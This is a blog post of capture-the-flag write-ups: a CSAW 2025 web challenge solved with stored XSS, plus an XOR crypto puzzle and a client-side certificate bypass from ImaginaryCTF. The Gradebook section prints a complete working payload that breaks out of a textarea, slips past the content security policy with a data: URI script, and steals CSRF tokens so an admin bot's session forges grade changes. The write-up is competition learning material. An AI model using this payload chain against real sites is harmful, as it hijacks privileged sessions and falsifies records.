Vance's Notes

CTF

Between September 13th, 2025 and September 14th, 2025, I participated in CSAW 2025 Qualifiers together with the Kernel Sanders #CTF team at the University of Florida (#UF). The CTF lasted over a period of 48 hours.

This time, I solved one challenge: Gradebook.

Gradebook

This is a #web challenge. Web challenges generally contain some type of vulnerable website. We are presented with the following challenge description and URLs:

It's the end of the semester and teachers are requesting class feedback per usual! Can you find a way to game the gradebook and get all A's?

https://gradebook-app.ctf.csaw.io/login https://gradebook-admin.ctf.csaw.io/

The first thing I notice is that we are given an admin bot. This means that the exploit likely has to do with something client-side, probably #XSS (cross site scripting) or #CSRF (cross-site request forgery), also known as #XSRF.

We are also given the source code of the website, as a ZIP file called dist.zip.

Opening up dist.zip, we find that it's a web app written in Flask. Flask is a web application framework written in Python. Luckily, I'm quite familiar with #Python, so this challenge might be doable.

We can see from the provided source code that, once we are able to log in as a student account, we can send a GET request to the /honor-roll-certificate endpoint to get the flag. But we need to have all A's in the gradebook first. Here's the relevant code from app.py:

@app.route('/honor-roll-certificate', methods=['GET'])
def honor_roll():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    
    user_id = session['user_id']
    user_type = session['user_type']

    if user_type == 'student':
        student = Student.query.get_or_404(user_id)
        
        student_letter_grades = [enrollment.grade for enrollment in student.enrollments]
        if all(grade=="A" for grade in student_letter_grades):
            return render_template_string("csawctf{testing-flag}")

        return render_template_string(f"<html>{student_letter_grades}</html>")
    else:
        return redirect(url_for('dashboard', user_id=session['user_id']))

We also notice the /grade-change endpoint, which we need to make a request to in order to change our grades. Let's make an account and get started!

When we visit the webpage https://gradebook-app.ctf.csaw.io/login, we're invited to log in. We notice that the login page allows us to register an account.

The login page for the challenge

We register an account with the username abc and password password1234. Upon logging in, it seems like we have not studied very well in classes! We only have one A in Calculus I! It seems like the grades are randomized for every created account, but that doesn't really matter.

Our bad grades

Attempting to visit the /honor-roll-certificate endpoint now only yields our grades and not the flag.

No flag for us

Back in the source code, going to dist/app/templates/dashboard.html reveals that user input in the feedback <textarea> elements is not sanitized. We can tell because the |safe flag is present. This tells Flask not to escape any HTML that it receives.

<textarea name="comment_{{ element.enrollment_id }}" placeholder="Optional comment...">{{ element.feedback_comment|safe or '' }}</textarea>

Back in Python, we notice that a Content-Security-Policy header is also sent. It contains the following values:

default-src 'none'; script-src 'self' data:; style-src 'self' 'unsafe-inline'; img-src *; font-src *; connect-src 'self'; object-src 'none'; media-src 'none'; frame-src 'none'; worker-src 'none'; manifest-src 'none'; base-uri 'self'; form-action 'self';

What we're interested in is script-src 'self' data:. This means that scripts either have to be loaded from a URI that starts with https://gradebook-app.ctf.csaw.io/ or through a data: URI. In order to embed a script in a data: URI, the following code may be used:

<script src="data:text/javascript;base64,YWxlcnQoMCk="></script>

Let's break the above down, as it might seem a little opaque.

  • <script src="ORIGIN"></script> indicates that you want to load JavaScript code from the origin ORIGIN. ORIGIN is most commonly a website such as https://website.example/assets/script.js, but it can also be a URI starting with data:.
  • data: indicates that there is some binary data coming up. Rather than pointing to a remote location on the Internet, all information about the script to be loaded will be contained within the URI itself.
  • text/javascript indicates to the browser the type of data that the URI contains. In this case, it indicates that the URI contains JavaScript code. You might also see text/plain here. These are known as MIME types and are standardized. You can see some other common MIME types here.
  • base64 indicates that the data will be encoded using Base64. This allows arbitrary binary data to be represented using ASCII text. It essentially makes unstructured binary data well-behaved.
  • YWxlcnQoMCk= is the Base64-encoded data.

Now, how did we obtain the encoded data? There are free Base64 encoders and decoders available online. We simply used one of those to convert our desired payload,

alert(0)

into its Base64 representation

YWxlcnQoMCk=

The payload alert(0) simply pops up an alert dialog with the content 0. It's a simple way to verify the presence of cross-site scripting (XSS) vulnerabilities. We need to properly close the <textarea> tag in order to make sure our payload properly executes. We also reopen the <textarea> tag so all the HTML is valid. So our final payload is

</textarea><script src="data:text/javascript;base64,YWxlcnQoMCk="></script></script><textarea>

Now let's plug that into the webpage as our comment and see what happens.

Payload is ready to be launched

We notice that an alert window pops up. This means we were successful in our XSS!

Mission succeeded

Let's take another look at the Content Security Policy:

default-src 'none'; script-src 'self' data:; style-src 'self' 'unsafe-inline'; img-src *; font-src *; connect-src 'self'; object-src 'none'; media-src 'none'; frame-src 'none'; worker-src 'none'; manifest-src 'none'; base-uri 'self'; form-action 'self';

We notice that it contains connect-src 'self';. This means that we can perform JavaScript XMLHttpRequests to this website. This means that we might be able to force the admin bot to change our grade. The /grade-change endpoint has some security features in place to prevent this though: it contains a CSRF token. When a GET request is made to the endpoint, the website comes with a form field pre-populated with a token that needs to be submitted back to the website. If it is not submitted, the request fails.

Here's the plan to get our grade changed:

  1. Make a GET request to the /grade-change endpoint.
  2. Extract the CSRF token to use in our request.
  3. Pass the CSRF token together with our student ID and class IDs in a POST request to the /grade-change endpoint.

We recall that our student ID is contained in the URL to our dashboard (https://gradebook-app.ctf.csaw.io/dashboard/55c9057c-b99d-48f7-81aa-79d0cd9c4838). We also recall that our dashboard contains the class IDs that we want our grades changed for.

First, we define an array containing the class IDs for which we need to get our grades changed. We also define a variable definining what class we're currently on, which will be important later.

var classIds = ["1053696f-2f06-4882-b226-07b6cb5de4d6", "175b650e-010b-41a2-b04e-83b75f6e3009", "f395d3ed-b5e3-4bd3-93fc-93a366d9e545", "4cc6efef-d95a-41b4-8c56-9579f654e881"];

var currentClassId = 0;

Next, we loop over all the class IDs in the array, performing a GET request to the /grade-change endpoint for each class ID. We also add a reqListener so we can handle the response.

for (; currentClassId < classIds.length; currentClassId++) {
  const req = new XMLHttpRequest();
  req.addEventListener("load", reqListener);
  req.open("GET", "/grade-change", false);
  req.send();
}

Finally, after getting the response from /grade-change endpoint, we extract the CSRF token. Because of how JavaScript works, this needs to be done in a callback function defined before the XMLHttpRequest that we're making. Our plan is to create a dummy HTML tag, then use built-in DOM parsing functions to get the tag we want.

Taking a look at dist/app/templates/grade-change.html, we find that the CSRF token is stored inside the first <input> tag in the HTML. Let's now write the code to parse the HTML.

function reqListener() {
  let responseHtml = this.responseText;
  let root = document.createElement( 'html' );
  root.innerHTML = responseHtml;
  let inputs = root.getElementsByTagName("input");
  
  let csrfToken = "";
  for (let i=0; i<inputs.length; i++) {
    csrfToken = inputs[i].value;
	break;
  }
  console.log(csrfToken);
}

Finally, we need to use the CSRF token to make the POST request to the /grade-change endpoint. We pass our newly-obtained CSRF token in and make sure our grade is set to A. We also grab our student ID from the /dashboard URL. Our student ID is 55c9057c-b99d-48f7-81aa-79d0cd9c4838.

function reqListener() {
  let responseHtml = this.responseText;
  let root = document.createElement( 'html' );
  root.innerHTML = responseHtml;
  let inputs = root.getElementsByTagName("input");
  
  let csrfToken = "";
  for (let i=0; i<inputs.length; i++) {
    csrfToken = inputs[i].value;
	break;
  }
  console.log(csrfToken);
  
  const req = new XMLHttpRequest();
  req.open("POST", "/grade-change");
  req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
  req.send("grade=A&student_id=55c9057c-b99d-48f7-81aa-79d0cd9c4838&class_id=" + classIds[currentClassId] + "&csrf_token=" + csrfToken);
}

Our final payload is

var classIds = ["1053696f-2f06-4882-b226-07b6cb5de4d6", "175b650e-010b-41a2-b04e-83b75f6e3009", "f395d3ed-b5e3-4bd3-93fc-93a366d9e545", "4cc6efef-d95a-41b4-8c56-9579f654e881"];

var currentClassId = 0;

function reqListener() {
  let responseHtml = this.responseText;
  let root = document.createElement( 'html' );
  root.innerHTML = responseHtml;
  let inputs = root.getElementsByTagName("input");
  
  let csrfToken = "";
  for (let i=0; i<inputs.length; i++) {
    csrfToken = inputs[i].value;
	break;
  }
  console.log(csrfToken);
  
  const req = new XMLHttpRequest();
  req.open("POST", "/grade-change");
  req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
  req.send("grade=A&student_id=55c9057c-b99d-48f7-81aa-79d0cd9c4838&class_id=" + classIds[currentClassId] + "&csrf_token=" + csrfToken);
}

for (; currentClassId < classIds.length; currentClassId++) {
  const req = new XMLHttpRequest();
  req.addEventListener("load", reqListener);
  req.open("GET", "/grade-change", false);
  req.send();
}

There's one last step: we need to Base64 encode this payload. After performing this step, we get

dmFyIGNsYXNzSWRzID0gWyIxMDUzNjk2Zi0yZjA2LTQ4ODItYjIyNi0wN2I2Y2I1ZGU0ZDYiLCAiMTc1YjY1MGUtMDEwYi00MWEyLWIwNGUtODNiNzVmNmUzMDA5IiwgImYzOTVkM2VkLWI1ZTMtNGJkMy05M2ZjLTkzYTM2NmQ5ZTU0NSIsICI0Y2M2ZWZlZi1kOTVhLTQxYjQtOGM1Ni05NTc5ZjY1NGU4ODEiXTsKCnZhciBjdXJyZW50Q2xhc3NJZCA9IDA7CgpmdW5jdGlvbiByZXFMaXN0ZW5lcigpIHsKICBsZXQgcmVzcG9uc2VIdG1sID0gdGhpcy5yZXNwb25zZVRleHQ7CiAgbGV0IHJvb3QgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCAnaHRtbCcgKTsKICByb290LmlubmVySFRNTCA9IHJlc3BvbnNlSHRtbDsKICBsZXQgaW5wdXRzID0gcm9vdC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaW5wdXQiKTsKICAKICBsZXQgY3NyZlRva2VuID0gIiI7CiAgZm9yIChsZXQgaT0wOyBpPGlucHV0cy5sZW5ndGg7IGkrKykgewogICAgY3NyZlRva2VuID0gaW5wdXRzW2ldLnZhbHVlOwoJYnJlYWs7CiAgfQogIGNvbnNvbGUubG9nKGNzcmZUb2tlbik7CiAgCiAgY29uc3QgcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgcmVxLm9wZW4oIlBPU1QiLCAiL2dyYWRlLWNoYW5nZSIpOwogIHJlcS5zZXRSZXF1ZXN0SGVhZGVyKCdDb250ZW50LXR5cGUnLCAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyk7CiAgcmVxLnNlbmQoImdyYWRlPUEmc3R1ZGVudF9pZD01NWM5MDU3Yy1iOTlkLTQ4ZjctODFhYS03OWQwY2Q5YzQ4MzgmY2xhc3NfaWQ9IiArIGNsYXNzSWRzW2N1cnJlbnRDbGFzc0lkXSArICImY3NyZl90b2tlbj0iICsgY3NyZlRva2VuKTsKfQoKZm9yICg7IGN1cnJlbnRDbGFzc0lkIDwgY2xhc3NJZHMubGVuZ3RoOyBjdXJyZW50Q2xhc3NJZCsrKSB7CiAgY29uc3QgcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgcmVxLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLCByZXFMaXN0ZW5lcik7CiAgcmVxLm9wZW4oIkdFVCIsICIvZ3JhZGUtY2hhbmdlIiwgZmFsc2UpOwogIHJlcS5zZW5kKCk7Cn0=

Finally, we can plug this Base64-encoded string into our XSS payload from earlier to yield the final payload of

</textarea><script src="data:text/javascript;base64,dmFyIGNsYXNzSWRzID0gWyIxMDUzNjk2Zi0yZjA2LTQ4ODItYjIyNi0wN2I2Y2I1ZGU0ZDYiLCAiMTc1YjY1MGUtMDEwYi00MWEyLWIwNGUtODNiNzVmNmUzMDA5IiwgImYzOTVkM2VkLWI1ZTMtNGJkMy05M2ZjLTkzYTM2NmQ5ZTU0NSIsICI0Y2M2ZWZlZi1kOTVhLTQxYjQtOGM1Ni05NTc5ZjY1NGU4ODEiXTsKCnZhciBjdXJyZW50Q2xhc3NJZCA9IDA7CgpmdW5jdGlvbiByZXFMaXN0ZW5lcigpIHsKICBsZXQgcmVzcG9uc2VIdG1sID0gdGhpcy5yZXNwb25zZVRleHQ7CiAgbGV0IHJvb3QgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCAnaHRtbCcgKTsKICByb290LmlubmVySFRNTCA9IHJlc3BvbnNlSHRtbDsKICBsZXQgaW5wdXRzID0gcm9vdC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaW5wdXQiKTsKICAKICBsZXQgY3NyZlRva2VuID0gIiI7CiAgZm9yIChsZXQgaT0wOyBpPGlucHV0cy5sZW5ndGg7IGkrKykgewogICAgY3NyZlRva2VuID0gaW5wdXRzW2ldLnZhbHVlOwoJYnJlYWs7CiAgfQogIGNvbnNvbGUubG9nKGNzcmZUb2tlbik7CiAgCiAgY29uc3QgcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgcmVxLm9wZW4oIlBPU1QiLCAiL2dyYWRlLWNoYW5nZSIpOwogIHJlcS5zZXRSZXF1ZXN0SGVhZGVyKCdDb250ZW50LXR5cGUnLCAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyk7CiAgcmVxLnNlbmQoImdyYWRlPUEmc3R1ZGVudF9pZD01NWM5MDU3Yy1iOTlkLTQ4ZjctODFhYS03OWQwY2Q5YzQ4MzgmY2xhc3NfaWQ9IiArIGNsYXNzSWRzW2N1cnJlbnRDbGFzc0lkXSArICImY3NyZl90b2tlbj0iICsgY3NyZlRva2VuKTsKfQoKZm9yICg7IGN1cnJlbnRDbGFzc0lkIDwgY2xhc3NJZHMubGVuZ3RoOyBjdXJyZW50Q2xhc3NJZCsrKSB7CiAgY29uc3QgcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgcmVxLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLCByZXFMaXN0ZW5lcik7CiAgcmVxLm9wZW4oIkdFVCIsICIvZ3JhZGUtY2hhbmdlIiwgZmFsc2UpOwogIHJlcS5zZW5kKCk7Cn0="></script></script><textarea>

Let's paste that into the textbox and see how the server responds! Note that there's an extra textbox because our payload puts an extra <textarea> tag in to ensure that the resulting HTML is valid. The second textbox doesn't really do anything. We could just as well have hid it with style="display:none" if we wanted to.

Our final payload

After clicking “Submit Ratings & Comments”, nothing happens to our grade. But that's because we're not an admin yet. We'll need to get the admin bot to visit this page. To do this, we visit the admin bot URL given in the challenge, https://gradebook-admin.ctf.csaw.io/, and paste our URL https://gradebook-app.ctf.csaw.io/dashboard/55c9057c-b99d-48f7-81aa-79d0cd9c4838 in.

Visiting our page with the admin bot

After reloading our student dashboard, we notice that we now have straight A's!

A perfect report card

Now, we visit https://gradebook-app.ctf.csaw.io/honor-roll-certificate to get the flag.

A perfect report card

The flag is

csawctf{y0u_m@de_the_h@cking_h0n0r_r0ll}

Revision 1 (2025-09-15): Fix images not loading properly.

Questions or suggestions? Reach out to me at vance.ylhuang.com!

Between September 5th, 2025 and September 7th, 2025, I worked on ImaginaryCTF, a Capture the Flag competition together with the Kernel Sanders #CTF team at the University of Florida (#UF). I had a lot of fun with the challenges and wanted to thank the creators.

For those of you who have never heard of CTFs, they are online cybersecurity competitions which happen almost every week and contain a variety of categories, such as

  • rev (reverse engineering)
  • pwn (binary exploitation)
  • crypto (mathematics and cryptography)
  • web (web exploitation)
  • forensics (finding information from files)
  • misc (challenges that don't fit into any other categories)

I managed to solve two challeges, redacted and certificate

Redacted

This is a #crypto challenge. In CTFs, crypto challenges allow players to apply their skills in cryptography and math to figure out an encoded message.

In this challenge, we've been given a XORed output and redacted key from CyberChef. CyberChef is an online platform commonly used for crypto CTFs. It contains multiple tools on various ciphers (XOR, Vigenere) and encodings (Base64, hex).

The challenge description is

wait, i thought XORing something with itself gives all 0s???

We're given the following image as the challenge: CTF redacted image

Manually transcribing the output yields

65 6c ce 6b c1 75 61 7e 53 66 c9 52 d8 6c 6a 53 6e 6e de 52 df 63 6d 7e 75 7f ce 64 d5 63 73

Here's a couple of basic things we know. First, the flag is 31 bytes long, including the ictf{ header. Next, the XOR algorithm is not behaving as expected, because XORing an input with itself usually returns 0.

Let's try to recreate this in CyberChef. We don't know the key, but we can put dummy characters in as a placeholder. We notice that the first 2 characters in our output match the expected key. CTF redacted potential solutions

From this point, we can try to brute-force the rest of the key, but that won't get us anywhere. We need to try a different method.

Since XOR is a symmetric operation, we notice that we are able to recover the first 5 bytes of the key by XORing the output with the input.

The first 5 bytes are

0c 0f ba 0d ba

We also notice that one of the bytes of the key must be 0e because the last byte of the ciphertext is 73 and the last character of the plaintext is '}'. We found this using Python:

print(hex(ord('}') ^ 0x73))

Now, we keep adding bytes until we get to what appears to be the correct key length, ensuring the last byte remains unchanged as }. We notice that adding 3 bytes appears to yield the correct length and a partially decrypted ciphertext. So the “key” we have so far is:

0c 0f ba 0d ba 00 0e 00

with 00 as the 2 padding bytes. Here's what we see in CyberChef

We also notice that CyberChef interprets text entered into the “HEX” XOR field by dropping all invalid characters. Since it seems like the flag only contains alphabetical characters, we have 6*6=36 possibilities for the key now (letters a-f for each byte). We can perform a manual brute force for these 36 possibilities.

After performing this simple brute-force, our key is now

0c 0f ba 0d ba 0d 0e 0c

The decrypted ciphertext

And the recovered plaintext is

ictf{xor_is_bad_bad_encryption}

Certificate

This is a #web challenge. In CTFs, web challenges have some type of website vulnerable to attacking.

The challenge description is

As a thank you for playing our CTF, we're giving out participation certificates! Each one comes with a custom flag, but I bet you can't get the flag belonging to Eth007!

We visit the website (https://eth007.me/cert/). Obviously, the first thing we'll do is try to get the Eth007's certificate.

The name is redacted

We enter “Eth007” into the “Name” field. However, the name is REDACTED instead. We also don't see a flag anywhere on the website, despite the challenge description assuring that we'd get one.

No network traffic in sight

We then open up the browser dev tools (by pressing F12) and observe that there is no network traffic happening, even when the name is changed. So it is likely that whatever is responsible for the redaction is running client-side as JavaScript.

The flag has been located

Looking through the source code, we first notice that the flag is embedded within a <desc></desc> tag in the SVG. We're not sure what the algorithm used to generate it is, but we'll treat it as a black box for now.

Searching through the source code for “Eth007” yields this interesting function:

function renderPreview(){
  var name = nameInput.value.trim();
  if (name == "Eth007") {
    name = "REDACTED"
  } 
  const svg = buildCertificateSVG({
    participant: name || "Participant Name",
    affiliation: affInput.value.trim() || "Participant",
    date: dateInput.value,
    styleKey: styleSelect.value
  });
  svgHolder.innerHTML = svg;
  svgHolder.dataset.currentSvg = svg;
}

We modify the function by removing the check for whether the name matches Eth007.

function renderPreview(){
  var name = nameInput.value.trim();
  const svg = buildCertificateSVG({
    participant: name || "Participant Name",
    affiliation: affInput.value.trim() || "Participant",
    date: dateInput.value,
    styleKey: styleSelect.value
  });
  svgHolder.innerHTML = svg;
  svgHolder.dataset.currentSvg = svg;
}

Overwriting the function

Then, we overwrite the original function by typing it into the browser DevTools console. Now, we can find the flag by looking in the source code for the desc tag:

<desc>ictf{7b4b3965}</desc>

We got the flag

That's all for now. I'll be back with more next time!

Revision 1 (2025-09-08): Fixed the broken CyberChef links.

Questions or suggestions? Reach out to me at vance.ylhuang.com!